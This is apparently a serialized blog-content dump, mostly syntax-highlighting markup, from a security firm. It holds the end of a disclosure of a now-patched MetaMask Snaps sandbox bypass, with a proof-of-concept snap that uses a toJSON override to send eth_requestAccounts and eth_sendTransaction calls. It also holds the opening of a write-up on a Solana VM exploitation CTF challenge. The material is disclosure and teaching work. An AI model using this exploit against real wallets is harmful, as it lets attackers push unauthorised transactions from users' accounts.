OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[37955],{"type":20,"tag":119,"props":37956,"children":37957},{"__ignoreMap":7},[37958,37991,37998,38005,38022,38051,38058,38083,38090,38122,38133,38150,38163,38170,38177,38184,38216,38223,38230,38237,38253,38280,38287,38310,38317,38348,38359,38375,38387,38408,38423,38440,38448,38455,38462,38469,38500,38507,38514,38574,38581,38609,38626,38641,38657,38672,38684,38714,38721],{"type":20,"tag":315,"props":37959,"children":37960},{"class":317,"line":318},[37961,37965,37969,37974,37978,37982,37987],{"type":20,"tag":315,"props":37962,"children":37963},{"style":525},[37964],{"type":26,"value":17887},{"type":20,"tag":315,"props":37966,"children":37967},{"style":328},[37968],{"type":26,"value":7985},{"type":20,"tag":315,"props":37970,"children":37971},{"style":635},[37972],{"type":26,"value":37973},"OnRpcRequestHandler",{"type":20,"tag":315,"props":37975,"children":37976},{"style":328},[37977],{"type":26,"value":34618},{"type":20,"tag":315,"props":37979,"children":37980},{"style":525},[37981],{"type":26,"value":17877},{"type":20,"tag":315,"props":37983,"children":37984},{"style":2652},[37985],{"type":26,"value":37986}," '@metamask/snaps-types'",{"type":20,"tag":315,"props":37988,"children":37989},{"style":328},[37990],{"type":26,"value":1405},{"type":20,"tag":315,"props":37992,"children":37993},{"class":317,"line":356},[37994],{"type":20,"tag":315,"props":37995,"children":37996},{"emptyLinePlaceholder":15},[37997],{"type":26,"value":427},{"type":20,"tag":315,"props":37999,"children":38000},{"class":317,"line":365},[38001],{"type":20,"tag":315,"props":38002,"children":38003},{"emptyLinePlaceholder":15},[38004],{"type":26,"value":427},{"type":20,"tag":315,"props":38006,"children":38007},{"class":317,"line":374},[38008,38012,38017],{"type":20,"tag":315,"props":38009,"children":38010},{"style":541},[38011],{"type":26,"value":615},{"type":20,"tag":315,"props":38013,"children":38014},{"style":345},[38015],{"type":26,"value":38016}," jsonExploit",{"type":20,"tag":315,"props":38018,"children":38019},{"style":328},[38020],{"type":26,"value":38021},"(){\n",{"type":20,"tag":315,"props":38023,"children":38024},{"class":317,"line":383},[38025,38029,38033,38037,38042,38046],{"type":20,"tag":315,"props":38026,"children":38027},{"style":541},[38028],{"type":26,"value":6251},{"type":20,"tag":315,"props":38030,"children":38031},{"style":635},[38032],{"type":26,"value":17469},{"type":20,"tag":315,"props":38034,"children":38035},{"style":334},[38036],{"type":26,"value":1395},{"type":20,"tag":315,"props":38038,"children":38039},{"style":328},[38040],{"type":26,"value":38041}," [] ",{"type":20,"tag":315,"props":38043,"children":38044},{"style":525},[38045],{"type":26,"value":7238},{"type":20,"tag":315,"props":38047,"children":38048},{"style":322},[38049],{"type":26,"value":38050}," any\n",{"type":20,"tag":315,"props":38052,"children":38053},{"class":317,"line":407},[38054],{"type":20,"tag":315,"props":38055,"children":38056},{"emptyLinePlaceholder":15},[38057],{"type":26,"value":427},{"type":20,"tag":315,"props":38059,"children":38060},{"class":317,"line":421},[38061,38066,38070,38074,38078],{"type":20,"tag":315,"props":38062,"children":38063},{"style":635},[38064],{"type":26,"value":38065}," x",{"type":20,"tag":315,"props":38067,"children":38068},{"style":328},[38069],{"type":26,"value":61},{"type":20,"tag":315,"props":38071,"children":38072},{"style":635},[38073],{"type":26,"value":36729},{"type":20,"tag":315,"props":38075,"children":38076},{"style":334},[38077],{"type":26,"value":1395},{"type":20,"tag":315,"props":38079,"children":38080},{"style":2652},[38081],{"type":26,"value":38082}," \"snap_dialog\"\n",{"type":20,"tag":315,"props":38084,"children":38085},{"class":317,"line":430},[38086],{"type":20,"tag":315,"props":38087,"children":38088},{"emptyLinePlaceholder":15},[38089],{"type":26,"value":427},{"type":20,"tag":315,"props":38091,"children":38092},{"class":317,"line":453},[38093,38097,38101,38105,38109,38114,38118],{"type":20,"tag":315,"props":38094,"children":38095},{"style":635},[38096],{"type":26,"value":38065},{"type":20,"tag":315,"props":38098,"children":38099},{"style":328},[38100],{"type":26,"value":61},{"type":20,"tag":315,"props":38102,"children":38103},{"style":345},[38104],{"type":26,"value":37829},{"type":20,"tag":315,"props":38106,"children":38107},{"style":334},[38108],{"type":26,"value":1395},{"type":20,"tag":315,"props":38110,"children":38111},{"style":328},[38112],{"type":26,"value":38113}," () ",{"type":20,"tag":315,"props":38115,"children":38116},{"style":541},[38117],{"type":26,"value":13222},{"type":20,"tag":315,"props":38119,"children":38120},{"style":328},[38121],{"type":26,"value":1092},{"type":20,"tag":315,"props":38123,"children":38124},{"class":317,"line":486},[38125,38129],{"type":20,"tag":315,"props":38126,"children":38127},{"style":525},[38128],{"type":26,"value":731},{"type":20,"tag":315,"props":38130,"children":38131},{"style":328},[38132],{"type":26,"value":1092},{"type":20,"tag":315,"props":38134,"children":38135},{"class":317,"line":499},[38136,38141,38146],{"type":20,"tag":315,"props":38137,"children":38138},{"style":635},[38139],{"type":26,"value":38140}," method:",{"type":20,"tag":315,"props":38142,"children":38143},{"style":2652},[38144],{"type":26,"value":38145}," \"eth_requestAccounts\"",{"type":20,"tag":315,"props":38147,"children":38148},{"style":328},[38149],{"type":26,"value":643},{"type":20,"tag":315,"props":38151,"children":38152},{"class":317,"line":513},[38153,38158],{"type":20,"tag":315,"props":38154,"children":38155},{"style":635},[38156],{"type":26,"value":38157}," params:",{"type":20,"tag":315,"props":38159,"children":38160},{"style":328},[38161],{"type":26,"value":38162}," []\n",{"type":20,"tag":315,"props":38164,"children":38165},{"class":317,"line":521},[38166],{"type":20,"tag":315,"props":38167,"children":38168},{"style":328},[38169],{"type":26,"value":1736},{"type":20,"tag":315,"props":38171,"children":38172},{"class":317,"line":552},[38173],{"type":20,"tag":315,"props":38174,"children":38175},{"style":328},[38176],{"type":26,"value":4265},{"type":20,"tag":315,"props":38178,"children":38179},{"class":317,"line":571},[38180],{"type":20,"tag":315,"props":38181,"children":38182},{"emptyLinePlaceholder":15},[38183],{"type":26,"value":427},{"type":20,"tag":315,"props":38185,"children":38186},{"class":317,"line":2031},[38187,38191,38196,38200,38204,38208,38212],{"type":20,"tag":315,"props":38188,"children":38189},{"style":525},[38190],{"type":26,"value":37615},{"type":20,"tag":315,"props":38192,"children":38193},{"style":635},[38194],{"type":26,"value":38195}," snap",{"type":20,"tag":315,"props":38197,"children":38198},{"style":328},[38199],{"type":26,"value":61},{"type":20,"tag":315,"props":38201,"children":38202},{"style":345},[38203],{"type":26,"value":29908},{"type":20,"tag":315,"props":38205,"children":38206},{"style":328},[38207],{"type":26,"value":1049},{"type":20,"tag":315,"props":38209,"children":38210},{"style":635},[38211],{"type":26,"value":17680},{"type":20,"tag":315,"props":38213,"children":38214},{"style":328},[38215],{"type":26,"value":380},{"type":20,"tag":315,"props":38217,"children":38218},{"class":317,"line":2053},[38219],{"type":20,"tag":315,"props":38220,"children":38221},{"emptyLinePlaceholder":15},[38222],{"type":26,"value":427},{"type":20,"tag":315,"props":38224,"children":38225},{"class":317,"line":2061},[38226],{"type":20,"tag":315,"props":38227,"children":38228},{"style":328},[38229],{"type":26,"value":577},{"type":20,"tag":315,"props":38231,"children":38232},{"class":317,"line":2070},[38233],{"type":20,"tag":315,"props":38234,"children":38235},{"emptyLinePlaceholder":15},[38236],{"type":26,"value":427},{"type":20,"tag":315,"props":38238,"children":38239},{"class":317,"line":2139},[38240,38244,38249],{"type":20,"tag":315,"props":38241,"children":38242},{"style":541},[38243],{"type":26,"value":615},{"type":20,"tag":315,"props":38245,"children":38246},{"style":345},[38247],{"type":26,"value":38248}," transactionExploit",{"type":20,"tag":315,"props":38250,"children":38251},{"style":328},[38252],{"type":26,"value":38021},{"type":20,"tag":315,"props":38254,"children":38255},{"class":317,"line":2147},[38256,38260,38264,38268,38272,38276],{"type":20,"tag":315,"props":38257,"children":38258},{"style":541},[38259],{"type":26,"value":6251},{"type":20,"tag":315,"props":38261,"children":38262},{"style":635},[38263],{"type":26,"value":17469},{"type":20,"tag":315,"props":38265,"children":38266},{"style":334},[38267],{"type":26,"value":1395},{"type":20,"tag":315,"props":38269,"children":38270},{"style":328},[38271],{"type":26,"value":38041},{"type":20,"tag":315,"props":38273,"children":38274},{"style":525},[38275],{"type":26,"value":7238},{"type":20,"tag":315,"props":38277,"children":38278},{"style":322},[38279],{"type":26,"value":38050},{"type":20,"tag":315,"props":38281,"children":38282},{"class":317,"line":2177},[38283],{"type":20,"tag":315,"props":38284,"children":38285},{"emptyLinePlaceholder":15},[38286],{"type":26,"value":427},{"type":20,"tag":315,"props":38288,"children":38289},{"class":317,"line":2185},[38290,38294,38298,38302,38306],{"type":20,"tag":315,"props":38291,"children":38292},{"style":635},[38293],{"type":26,"value":38065},{"type":20,"tag":315,"props":38295,"children":38296},{"style":328},[38297],{"type":26,"value":61},{"type":20,"tag":315,"props":38299,"children":38300},{"style":635},[38301],{"type":26,"value":36729},{"type":20,"tag":315,"props":38303,"children":38304},{"style":334},[38305],{"type":26,"value":1395},{"type":20,"tag":315,"props":38307,"children":38308},{"style":2652},[38309],{"type":26,"value":38082},{"type":20,"tag":315,"props":38311,"children":38312},{"class":317,"line":2217},[38313],{"type":20,"tag":315,"props":38314,"children":38315},{"emptyLinePlaceholder":15},[38316],{"type":26,"value":427},{"type":20,"tag":315,"props":38318,"children":38319},{"class":317,"line":2225},[38320,38324,38328,38332,38336,38340,38344],{"type":20,"tag":315,"props":38321,"children":38322},{"style":635},[38323],{"type":26,"value":38065},{"type":20,"tag":315,"props":38325,"children":38326},{"style":328},[38327],{"type":26,"value":61},{"type":20,"tag":315,"props":38329,"children":38330},{"style":345},[38331],{"type":26,"value":37829},{"type":20,"tag":315,"props":38333,"children":38334},{"style":334},[38335],{"type":26,"value":1395},{"type":20,"tag":315,"props":38337,"children":38338},{"style":328},[38339],{"type":26,"value":38113},{"type":20,"tag":315,"props":38341,"children":38342},{"style":541},[38343],{"type":26,"value":13222},{"type":20,"tag":315,"props":38345,"children":38346},{"style":328},[38347],{"type":26,"value":1092},{"type":20,"tag":315,"props":38349,"children":38350},{"class":317,"line":2285},[38351,38355],{"type":20,"tag":315,"props":38352,"children":38353},{"style":525},[38354],{"type":26,"value":731},{"type":20,"tag":315,"props":38356,"children":38357},{"style":328},[38358],{"type":26,"value":1092},{"type":20,"tag":315,"props":38360,"children":38361},{"class":317,"line":7444},[38362,38366,38371],{"type":20,"tag":315,"props":38363,"children":38364},{"style":635},[38365],{"type":26,"value":38140},{"type":20,"tag":315,"props":38367,"children":38368},{"style":2652},[38369],{"type":26,"value":38370}," \"eth_sendTransaction\"",{"type":20,"tag":315,"props":38372,"children":38373},{"style":328},[38374],{"type":26,"value":643},{"type":20,"tag":315,"props":38376,"children":38377},{"class":317,"line":7462},[38378,38382],{"type":20,"tag":315,"props":38379,"children":38380},{"style":635},[38381],{"type":26,"value":38157},{"type":20,"tag":315,"props":38383,"children":38384},{"style":328},[38385],{"type":26,"value":38386}," [{\n",{"type":20,"tag":315,"props":38388,"children":38389},{"class":317,"line":7507},[38390,38394,38399,38403],{"type":20,"tag":315,"props":38391,"children":38392},{"style":635},[38393],{"type":26,"value":30480},{"type":20,"tag":315,"props":38395,"children":38396},{"style":2652},[38397],{"type":26,"value":38398}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":20,"tag":315,"props":38400,"children":38401},{"style":328},[38402],{"type":26,"value":44},{"type":20,"tag":315,"props":38404,"children":38405},{"style":1071},[38406],{"type":26,"value":38407},"// change this to your address\n",{"type":20,"tag":315,"props":38409,"children":38410},{"class":317,"line":7613},[38411,38415,38419],{"type":20,"tag":315,"props":38412,"children":38413},{"style":635},[38414],{"type":26,"value":30496},{"type":20,"tag":315,"props":38416,"children":38417},{"style":2652},[38418],{"type":26,"value":38398},{"type":20,"tag":315,"props":38420,"children":38421},{"style":328},[38422],{"type":26,"value":643},{"type":20,"tag":315,"props":38424,"children":38425},{"class":317,"line":21914},[38426,38431,38436],{"type":20,"tag":315,"props":38427,"children":38428},{"style":635},[38429],{"type":26,"value":38430}," value:",{"type":20,"tag":315,"props":38432,"children":38433},{"style":2652},[38434],{"type":26,"value":38435}," \"0x1\"",{"type":20,"tag":315,"props":38437,"children":38438},{"style":328},[38439],{"type":26,"value":643},{"type":20,"tag":315,"props":38441,"children":38442},{"class":317,"line":21949},[38443],{"type":20,"tag":315,"props":38444,"children":38445},{"style":328},[38446],{"type":26,"value":38447}," }]\n",{"type":20,"tag":315,"props":38449,"children":38450},{"class":317,"line":21957},[38451],{"type":20,"tag":315,"props":38452,"children":38453},{"style":328},[38454],{"type":26,"value":1736},{"type":20,"tag":315,"props":38456,"children":38457},{"class":317,"line":21965},[38458],{"type":20,"tag":315,"props":38459,"children":38460},{"style":328},[38461],{"type":26,"value":4265},{"type":20,"tag":315,"props":38463,"children":38464},{"class":317,"line":21974},[38465],{"type":20,"tag":315,"props":38466,"children":38467},{"emptyLinePlaceholder":15},[38468],{"type":26,"value":427},{"type":20,"tag":315,"props":38470,"children":38471},{"class":317,"line":22016},[38472,38476,38480,38484,38488,38492,38496],{"type":20,"tag":315,"props":38473,"children":38474},{"style":525},[38475],{"type":26,"value":37615},{"type":20,"tag":315,"props":38477,"children":38478},{"style":635},[38479],{"type":26,"value":38195},{"type":20,"tag":315,"props":38481,"children":38482},{"style":328},[38483],{"type":26,"value":61},{"type":20,"tag":315,"props":38485,"children":38486},{"style":345},[38487],{"type":26,"value":29908},{"type":20,"tag":315,"props":38489,"children":38490},{"style":328},[38491],{"type":26,"value":1049},{"type":20,"tag":315,"props":38493,"children":38494},{"style":635},[38495],{"type":26,"value":17680},{"type":20,"tag":315,"props":38497,"children":38498},{"style":328},[38499],{"type":26,"value":2214},{"type":20,"tag":315,"props":38501,"children":38502},{"class":317,"line":22049},[38503],{"type":20,"tag":315,"props":38504,"children":38505},{"style":328},[38506],{"type":26,"value":577},{"type":20,"tag":315,"props":38508,"children":38509},{"class":317,"line":22057},[38510],{"type":20,"tag":315,"props":38511,"children":38512},{"emptyLinePlaceholder":15},[38513],{"type":26,"value":427},{"type":20,"tag":315,"props":38515,"children":38516},{"class":317,"line":22065},[38517,38521,38525,38530,38534,38539,38543,38548,38553,38557,38561,38566,38570],{"type":20,"tag":315,"props":38518,"children":38519},{"style":525},[38520],{"type":26,"value":36625},{"type":20,"tag":315,"props":38522,"children":38523},{"style":541},[38524],{"type":26,"value":37527},{"type":20,"tag":315,"props":38526,"children":38527},{"style":345},[38528],{"type":26,"value":38529}," onRpcRequest",{"type":20,"tag":315,"props":38531,"children":38532},{"style":334},[38533],{"type":26,"value":2884},{"type":20,"tag":315,"props":38535,"children":38536},{"style":322},[38537],{"type":26,"value":38538}," OnRpcRequestHandler",{"type":20,"tag":315,"props":38540,"children":38541},{"style":334},[38542],{"type":26,"value":1395},{"type":20,"tag":315,"props":38544,"children":38545},{"style":328},[38546],{"type":26,"value":38547}," ({ ",{"type":20,"tag":315,"props":38549,"children":38550},{"style":635},[38551],{"type":26,"value":38552},"origin",{"type":20,"tag":315,"props":38554,"children":38555},{"style":328},[38556],{"type":26,"value":44},{"type":20,"tag":315,"props":38558,"children":38559},{"style":635},[38560],{"type":26,"value":29908},{"type":20,"tag":315,"props":38562,"children":38563},{"style":328},[38564],{"type":26,"value":38565}," }) ",{"type":20,"tag":315,"props":38567,"children":38568},{"style":541},[38569],{"type":26,"value":13222},{"type":20,"tag":315,"props":38571,"children":38572},{"style":328},[38573],{"type":26,"value":1092},{"type":20,"tag":315,"props":38575,"children":38576},{"class":317,"line":22074},[38577],{"type":20,"tag":315,"props":38578,"children":38579},{"emptyLinePlaceholder":15},[38580],{"type":26,"value":427},{"type":20,"tag":315,"props":38582,"children":38583},{"class":317,"line":22150},[38584,38589,38593,38597,38601,38605],{"type":20,"tag":315,"props":38585,"children":38586},{"style":525},[38587],{"type":26,"value":38588}," switch",{"type":20,"tag":315,"props":38590,"children":38591},{"style":328},[38592],{"type":26,"value":463},{"type":20,"tag":315,"props":38594,"children":38595},{"style":635},[38596],{"type":26,"value":29908},{"type":20,"tag":315,"props":38598,"children":38599},{"style":328},[38600],{"type":26,"value":61},{"type":20,"tag":315,"props":38602,"children":38603},{"style":635},[38604],{"type":26,"value":36729},{"type":20,"tag":315,"props":38606,"children":38607},{"style":328},[38608],{"type":26,"value":549},{"type":20,"tag":315,"props":38610,"children":38611},{"class":317,"line":22183},[38612,38617,38622],{"type":20,"tag":315,"props":38613,"children":38614},{"style":525},[38615],{"type":26,"value":38616}," case",{"type":20,"tag":315,"props":38618,"children":38619},{"style":2652},[38620],{"type":26,"value":38621}," 'json'",{"type":20,"tag":315,"props":38623,"children":38624},{"style":328},[38625],{"type":26,"value":3961},{"type":20,"tag":315,"props":38627,"children":38628},{"class":317,"line":22191},[38629,38633,38637],{"type":20,"tag":315,"props":38630,"children":38631},{"style":525},[38632],{"type":26,"value":37773},{"type":20,"tag":315,"props":38634,"children":38635},{"style":345},[38636],{"type":26,"value":38016},{"type":20,"tag":315,"props":38638,"children":38639},{"style":328},[38640],{"type":26,"value":568},{"type":20,"tag":315,"props":38642,"children":38643},{"class":317,"line":22199},[38644,38648,38653],{"type":20,"tag":315,"props":38645,"children":38646},{"style":525},[38647],{"type":26,"value":38616},{"type":20,"tag":315,"props":38649,"children":38650},{"style":2652},[38651],{"type":26,"value":38652}," 'transaction'",{"type":20,"tag":315,"props":38654,"children":38655},{"style":328},[38656],{"type":26,"value":3961},{"type":20,"tag":315,"props":38658,"children":38659},{"class":317,"line":22236},[38660,38664,38668],{"type":20,"tag":315,"props":38661,"children":38662},{"style":525},[38663],{"type":26,"value":37773},{"type":20,"tag":315,"props":38665,"children":38666},{"style":345},[38667],{"type":26,"value":38248},{"type":20,"tag":315,"props":38669,"children":38670},{"style":328},[38671],{"type":26,"value":568},{"type":20,"tag":315,"props":38673,"children":38674},{"class":317,"line":22249},[38675,38680],{"type":20,"tag":315,"props":38676,"children":38677},{"style":525},[38678],{"type":26,"value":38679}," default",{"type":20,"tag":315,"props":38681,"children":38682},{"style":328},[38683],{"type":26,"value":3961},{"type":20,"tag":315,"props":38685,"children":38686},{"class":317,"line":22262},[38687,38692,38696,38701,38705,38710],{"type":20,"tag":315,"props":38688,"children":38689},{"style":525},[38690],{"type":26,"value":38691}," throw",{"type":20,"tag":315,"props":38693,"children":38694},{"style":541},[38695],{"type":26,"value":30348},{"type":20,"tag":315,"props":38697,"children":38698},{"style":345},[38699],{"type":26,"value":38700}," Error",{"type":20,"tag":315,"props":38702,"children":38703},{"style":328},[38704],{"type":26,"value":1049},{"type":20,"tag":315,"props":38706,"children":38707},{"style":2652},[38708],{"type":26,"value":38709},"'Method not found.'",{"type":20,"tag":315,"props":38711,"children":38712},{"style":328},[38713],{"type":26,"value":2214},{"type":20,"tag":315,"props":38715,"children":38716},{"class":317,"line":22275},[38717],{"type":20,"tag":315,"props":38718,"children":38719},{"style":328},[38720],{"type":26,"value":4265},{"type":20,"tag":315,"props":38722,"children":38723},{"class":317,"line":22329},[38724],{"type":20,"tag":315,"props":38725,"children":38726},{"style":328},[38727],{"type":26,"value":14979},{"type":20,"tag":29,"props":38729,"children":38730},{},[38731,38733,38739,38741,38746],{"type":26,"value":38732},"We set ",{"type":20,"tag":119,"props":38734,"children":38736},{"className":38735},[],[38737],{"type":26,"value":38738},"x.method = \"snap_dialog\"",{"type":26,"value":38740}," to pass the assertion and setup a toJSON function to change this method to ",{"type":20,"tag":119,"props":38742,"children":38744},{"className":38743},[],[38745],{"type":26,"value":37948},{"type":26,"value":38747}," after.",{"type":20,"tag":219,"props":38749,"children":38751},{"id":38750},"mitigation",[38752],{"type":26,"value":38753},"Mitigation",{"type":20,"tag":29,"props":38755,"children":38756},{},[38757,38759,38764,38766,38773],{"type":26,"value":38758},"Metamask mitigated this issue by asserting the arguments after the ",{"type":20,"tag":119,"props":38760,"children":38762},{"className":38761},[],[38763],{"type":26,"value":37492},{"type":26,"value":38765}," function execution. The patch was introduced on commit ",{"type":20,"tag":35,"props":38767,"children":38770},{"href":38768,"rel":38769},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[39],[38771],{"type":26,"value":38772},"168ff08",{"type":26,"value":38774}," with the following changes:",{"type":20,"tag":305,"props":38776,"children":38780},{"className":38777,"code":38778,"language":38779,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[38781],{"type":20,"tag":119,"props":38782,"children":38783},{"__ignoreMap":7},[38784,38792,38800,38808,38816],{"type":20,"tag":315,"props":38785,"children":38786},{"class":317,"line":318},[38787],{"type":20,"tag":315,"props":38788,"children":38789},{"style":328},[38790],{"type":26,"value":38791},"const request = async (args: RequestArguments) => {\n",{"type":20,"tag":315,"props":38793,"children":38794},{"class":317,"line":356},[38795],{"type":20,"tag":315,"props":38796,"children":38797},{"style":2652},[38798],{"type":26,"value":38799},"- assertEthereumOutboundRequest(args);\n",{"type":20,"tag":315,"props":38801,"children":38802},{"class":317,"line":365},[38803],{"type":20,"tag":315,"props":38804,"children":38805},{"style":2652},[38806],{"type":26,"value":38807},"- const sanitizedArgs = getSafeJson(args);\n",{"type":20,"tag":315,"props":38809,"children":38810},{"class":317,"line":374},[38811],{"type":20,"tag":315,"props":38812,"children":38813},{"style":765},[38814],{"type":26,"value":38815},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":20,"tag":315,"props":38817,"children":38818},{"class":317,"line":383},[38819],{"type":20,"tag":315,"props":38820,"children":38821},{"style":765},[38822],{"type":26,"value":38823},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":20,"tag":21,"props":38825,"children":38826},{"id":1211},[38827],{"type":26,"value":1214},{"type":20,"tag":29,"props":38829,"children":38830},{},[38831],{"type":26,"value":38832},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":20,"tag":29,"props":38834,"children":38835},{},[38836],{"type":26,"value":38837},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":20,"tag":1226,"props":38839,"children":38840},{},[38841],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":38843},[38844,38845,38852,38860],{"id":17360,"depth":356,"text":17363},{"id":33868,"depth":356,"text":33871,"children":38846},[38847,38848,38849,38850,38851],{"id":33879,"depth":365,"text":33882},{"id":33947,"depth":365,"text":33950},{"id":33983,"depth":365,"text":33986},{"id":35379,"depth":365,"text":35382},{"id":35737,"depth":365,"text":35740},{"id":36524,"depth":356,"text":36527,"children":38853},[38854,38855,38856,38857,38858,38859],{"id":36530,"depth":365,"text":36533},{"id":36574,"depth":365,"text":36577},{"id":37478,"depth":365,"text":37481},{"id":4055,"depth":365,"text":4058},{"id":37921,"depth":365,"text":33244},{"id":38750,"depth":365,"text":38753},{"id":1211,"depth":356,"text":1214},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":38865,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":38866,"description":38867,"author":38868,"image":38870,"date":38872,"isFeatured":15,"onBlogPage":15,"body":38873,"_type":1242,"_id":44293,"_source":1244,"_file":44294,"_stem":44295,"_extension":1247},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[38869,11],"nicola",{"src":38871},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":17,"children":38874,"toc":44282},[38875,38889,38909,38914,38918,38931,38956,38962,38967,38982,39336,39351,39616,39632,40275,40281,40286,40299,40307,40519,40527,40830,40838,40981,40989,41514,41520,41532,41545,41559,41564,42332,42337,42345,42350,42356,42368,42433,42438,42451,42464,42470,42498,43649,43662,43704,43709,43714,43728,43868,43889,43910,43917,43968,43976,43987,44000,44005,44129,44142,44244,44248,44261,44266,44278],{"type":20,"tag":29,"props":38876,"children":38877},{},[38878,38880,38887],{"type":26,"value":38879},"In the world of CTFs, ",{"type":20,"tag":35,"props":38881,"children":38884},{"href":38882,"rel":38883},"https://twitter.com/paradigm_ctf",[39],[38885],{"type":26,"value":38886},"Paradigm CTF 2023",{"type":26,"value":38888}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":20,"tag":29,"props":38890,"children":38891},{},[38892,38894,38901,38902],{"type":26,"value":38893},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":20,"tag":35,"props":38895,"children":38898},{"href":38896,"rel":38897},"https://osec.io/blog/2022-03-14-solana-security-intro",[39],[38899],{"type":26,"value":38900},"Solana: An Auditor's Introduction",{"type":26,"value":9392},{"type":20,"tag":35,"props":38903,"children":38906},{"href":38904,"rel":38905},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[39],[38907],{"type":26,"value":38908},"Reverse Engineering Solana with Binary Ninja.\n",{"type":20,"tag":29,"props":38910,"children":38911},{},[38912],{"type":26,"value":38913},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":20,"tag":21,"props":38915,"children":38916},{"id":17360},[38917],{"type":26,"value":17363},{"type":20,"tag":29,"props":38919,"children":38920},{},[38921,38923,38929],{"type":26,"value":38922},"The challenge itself resides into ",{"type":20,"tag":119,"props":38924,"children":38926},{"className":38925},[],[38927],{"type":26,"value":38928},"framework/",{"type":26,"value":38930},", and is composed of 2 parts:",{"type":20,"tag":15089,"props":38932,"children":38933},{},[38934,38945],{"type":20,"tag":72,"props":38935,"children":38936},{},[38937,38943],{"type":20,"tag":119,"props":38938,"children":38940},{"className":38939},[],[38941],{"type":26,"value":38942},"framework/chall/lib.rs",{"type":26,"value":38944},": The on-chain eBPF program that needs to be exploited.",{"type":20,"tag":72,"props":38946,"children":38947},{},[38948,38954],{"type":20,"tag":119,"props":38949,"children":38951},{"className":38950},[],[38952],{"type":26,"value":38953},"framework/src/main.rs",{"type":26,"value":38955},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":20,"tag":219,"props":38957,"children":38959},{"id":38958},"vulnerable-program",[38960],{"type":26,"value":38961},"Vulnerable Program",{"type":20,"tag":29,"props":38963,"children":38964},{},[38965],{"type":26,"value":38966},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":20,"tag":68,"props":38968,"children":38969},{},[38970],{"type":20,"tag":72,"props":38971,"children":38972},{},[38973,38974,38980],{"type":26,"value":5875},{"type":20,"tag":119,"props":38975,"children":38977},{"className":38976},[],[38978],{"type":26,"value":38979},"data[0] == 0",{"type":26,"value":38981}," a function that lets you write-what-where is executed",{"type":20,"tag":305,"props":38983,"children":38985},{"className":1360,"code":38984,"language":1359,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[38986],{"type":20,"tag":119,"props":38987,"children":38988},{"__ignoreMap":7},[38989,38997,39042,39053,39176,39293,39322,39329],{"type":20,"tag":315,"props":38990,"children":38991},{"class":317,"line":318},[38992],{"type":20,"tag":315,"props":38993,"children":38994},{"style":328},[38995],{"type":26,"value":38996},"#[inline(never)]\n",{"type":20,"tag":315,"props":38998,"children":38999},{"class":317,"line":356},[39000,39004,39008,39013,39017,39021,39025,39029,39033,39037],{"type":20,"tag":315,"props":39001,"children":39002},{"style":541},[39003],{"type":26,"value":12091},{"type":20,"tag":315,"props":39005,"children":39006},{"style":541},[39007],{"type":26,"value":12096},{"type":20,"tag":315,"props":39009,"children":39010},{"style":345},[39011],{"type":26,"value":39012}," write",{"type":20,"tag":315,"props":39014,"children":39015},{"style":328},[39016],{"type":26,"value":1049},{"type":20,"tag":315,"props":39018,"children":39019},{"style":635},[39020],{"type":26,"value":2085},{"type":20,"tag":315,"props":39022,"children":39023},{"style":334},[39024],{"type":26,"value":2884},{"type":20,"tag":315,"props":39026,"children":39027},{"style":334},[39028],{"type":26,"value":5536},{"type":20,"tag":315,"props":39030,"children":39031},{"style":328},[39032],{"type":26,"value":2117},{"type":20,"tag":315,"props":39034,"children":39035},{"style":322},[39036],{"type":26,"value":1802},{"type":20,"tag":315,"props":39038,"children":39039},{"style":328},[39040],{"type":26,"value":39041},"]) 